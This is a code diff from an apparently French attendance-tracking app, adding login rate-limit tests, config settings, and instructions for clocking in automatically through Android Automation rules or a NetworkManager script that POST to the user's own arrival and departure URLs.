r = client.post("/login", data={"email": f"victim{i}.x@x.fr"})
|
||||
assert "Trop de tentatives" not in r.text
|
||||
# 3e POST → bloqué
|
||||
r3 = client.post("/login", data={"email": "victim3.x@x.fr"})
|
||||
assert "Trop de tentatives" in r3.text
|
||||
finally:
|
||||
cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
|
||||
models.save_config(cfg)
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
|
||||
|
||||
def test_rate_limit_independent_per_email():
|
||||
"""Le rate limit /login/password est par (ip, email) : deux emails distincts
|
||||
ne se partagent pas leur quota."""
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
cfg = models.load_config()
|
||||
cfg["login_rate_limit_per_min"] = 2
|
||||
models.save_config(cfg)
|
||||
try:
|
||||
_seed_user("oscar")
|
||||
# 2 tentatives sur "oscar" → OK
|
||||
for _ in range(2):
|
||||
client.post("/login/password", data={"email": "oscar@x.fr", "password": "x"}, follow_redirects=False)
|
||||
# La 3e sur "oscar" doit échouer
|
||||
r_o = client.post("/login/password", data={"email": "oscar@x.fr", "password": "x"}, follow_redirects=False)
|
||||
assert "Trop de tentatives" in r_o.text
|
||||
# Une autre adresse email doit encore fonctionner
|
||||
_seed_user("paul")
|
||||
r_p = client.post("/login/password", data={"email": "paul@x.fr", "password": "x"}, follow_redirects=False)
|
||||
assert "Trop de tentatives" not in r_p.text
|
||||
finally:
|
||||
cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
|
||||
models.save_config(cfg)
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
|
||||
|
||||
def test_rate_limit_can_be_disabled_via_config():
|
||||
"""config.login_rate_limit_per_min = 0 doit désactiver le rate limit."""
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
cfg = models.load_config()
|
||||
cfg["login_rate_limit_per_min"] = 0
|
||||
models.save_config(cfg)
|
||||
try:
|
||||
_seed_user("quinn")
|
||||
# Beaucoup de tentatives : aucune ne doit être bloquée
|
||||
for _ in range(50):
|
||||
r = client.post("/login/password", data={"email": "quinn@x.fr", "password": "x"}, follow_redirects=False)
|
||||
assert "Trop de tentatives" not in r.text, r.text
|
||||
finally:
|
||||
cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
|
||||
models.save_config(cfg)
|
||||
main._LOGIN_ATTEMPTS.clear()
|
||||
@ -1,7 +1,9 @@
|
||||
{
|
||||
"heures_jour": 7.8,
|
||||
"heures_semaine": 39.0,
|
||||
"jours_par_semaine": 5,
|
||||
"log_level": "DEBUG",
|
||||
"allowed_email_domain": "exemple.fr",
|
||||
"base_url": "",
|
||||
"mail_from": "no-reply@exemple.fr",
|
||||
"smtp": {
|
||||
"host": "smtp.exemple.fr",
|
||||
|
||||
@ -25,23 +25,64 @@ contiennent un token secret, ne les partage pas.
|
||||
2. Bouton **+** → entre le nom de topic choisi sur `/settings` → valide.
|
||||
Laisse le serveur par défaut (`ntfy.sh`).
|
||||
|
||||
### 2. Détecter la présence (Tasker)
|
||||
### 2. Détecter la présence (Automation)
|
||||
|
||||
1. Installe **Tasker**.
|
||||
2. Autorise Tasker à utiliser la localisation en arrière-plan (sinon Android
|
||||
coupe la géolocalisation quand l'app n'est pas au premier plan).
|
||||
3. Crée un profil : **Trigger → Location** → renseigne l'adresse/coordonnées
|
||||
du bureau et un rayon (~100–150 m) → événement **Enter**.
|
||||
Tâche associée : **Net → HTTP Request**, méthode `GET`, URL = ton lien
|
||||
**Arrivée** (copié depuis `/settings`).
|
||||
4. Crée un second profil symétrique : même géofence, événement **Exit**,
|
||||
tâche HTTP GET vers ton lien **Départ**.
|
||||
On utilise **[Automation](https://f-droid.org/en/packages/com.jens.automation2/)**
|
||||
(app FOSS, sur F-Droid). Elle sait déclencher une requête HTTP POST selon ta
|
||||
position géographique ou selon le Wi-Fi auquel tu es connecté — pas besoin de
|
||||
plugin ni d'app payante.
|
||||
|
||||
1. Installe **Automation** depuis
|
||||
[F-Droid](https://f-droid.org/en/packages/com.jens.automation2/)
|
||||
(évite la version Play Store, amputée de la localisation et des appels/SMS).
|
||||
2. Autorise la **localisation en arrière-plan** : Réglages → Applications →
|
||||
Automation → Autorisations → Position → **Toujours**. Sans ça, Android
|
||||
coupe la détection quand l'app n'est pas au premier plan.
|
||||
3. Désactive l'**optimisation batterie** pour Automation (même menu →
|
||||
Batterie → « Aucune restriction »), sinon Android finit par tuer le service.
|
||||
|
||||
Deux méthodes possibles — la **A** (Wi-Fi) est plus réactive et plus économe
|
||||
en batterie au bureau.
|
||||
|
||||
#### Méthode A — déclenchement par Wi-Fi (recommandé)
|
||||
|
||||
Idéal si le bureau a un Wi-Fi d'entreprise. Le déclenchement se fait sur le
|
||||
SSID, même si tu n'es pas identifié sur le réseau.
|
||||
|
||||
**Règle « Arrivée »** — Automation → **Rules** → **+** :
|
||||
|
||||
- *Trigger* : **Wifi connection** → entre le SSID exact du Wi-Fi du bureau.
|
||||
- *Action* : **Trigger URL** → Method `POST`,
|
||||
URL = ton lien **Arrivée** (copié depuis `/settings`).
|
||||
|
||||
**Règle « Départ »**, symétrique :
|
||||
|
||||
- *Trigger* : **Wifi connection** → même SSID, sens **déconnexion**.
|
||||
- *Action* : **Trigger URL** `POST` → URL **Départ**.
|
||||
|
||||
#### Méthode B — déclenchement par géofence (si pas de Wi-Fi d'entreprise)
|
||||
|
||||
**Règle « Arrivée »** :
|
||||
|
||||
- *Trigger* : **Location** → place le marqueur sur l'adresse du bureau,
|
||||
rayon ~100–150 m, événement **Enter**.
|
||||
- *Action* : **Trigger URL** `POST` → URL **Arrivée**.
|
||||
|
||||
**Règle « Départ »**, symétrique :
|
||||
|
||||
- *Trigger* : **Location** → même zone, événement **Exit**.
|
||||
- *Action* : **Trigger URL** `POST` → URL **Départ**.
|
||||
|
||||
> La géofence Android s'appuie sur le Wi-Fi/Bluetooth alentour même sans GPS,
|
||||
> mais la réactivité varie. Au bureau, la méthode Wi-Fi est presque toujours
|
||||
> plus fiable.
|
||||
|
||||
### 3. Vérifier
|
||||
|
||||
- Force une entrée/sortie de zone (ou lance la tâche HTTP manuellement dans
|
||||
Tasker) et vérifie que la réponse est `{"ok":true}`.
|
||||
- Simule une journée sans pointage matin pendant que tu es marqué "présent" :
|
||||
- Dans Automation, ouvre une règle et utilise le bouton **Test** (icône
|
||||
lecture) : la réponse doit être `{"ok":true}`.
|
||||
- Force une entrée/sortie réelle (zone ou Wi-Fi) et vérifie la même chose.
|
||||
- Simule une journée sans pointage matin pendant que tu es marqué « présent » :
|
||||
une notif ntfy doit arriver dans les 5 minutes.
|
||||
|
||||
---
|
||||
@ -86,10 +127,10 @@ current_ssid=$(nmcli -t -f active,ssid dev wifi | grep '^yes' | cut -d: -f2)
|
||||
|
||||
case "$2" in
|
||||
up)
|
||||
[ "$current_ssid" = "$BUREAU_SSID" ] && curl -fsS "$URL_ARRIVEE"
|
||||
[ "$current_ssid" = "$BUREAU_SSID" ] && curl -fsS -X POST "$URL_ARRIVEE"
|
||||
;;
|
||||
down)
|
||||
[ "$current_ssid" != "$BUREAU_SSID" ] && curl -fsS "$URL_DEPART"
|
||||
[ "$current_ssid" != "$BUREAU_SSID" ] && curl -fsS -X POST "$URL_DEPART"
|
||||
;;
|
||||
esac
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user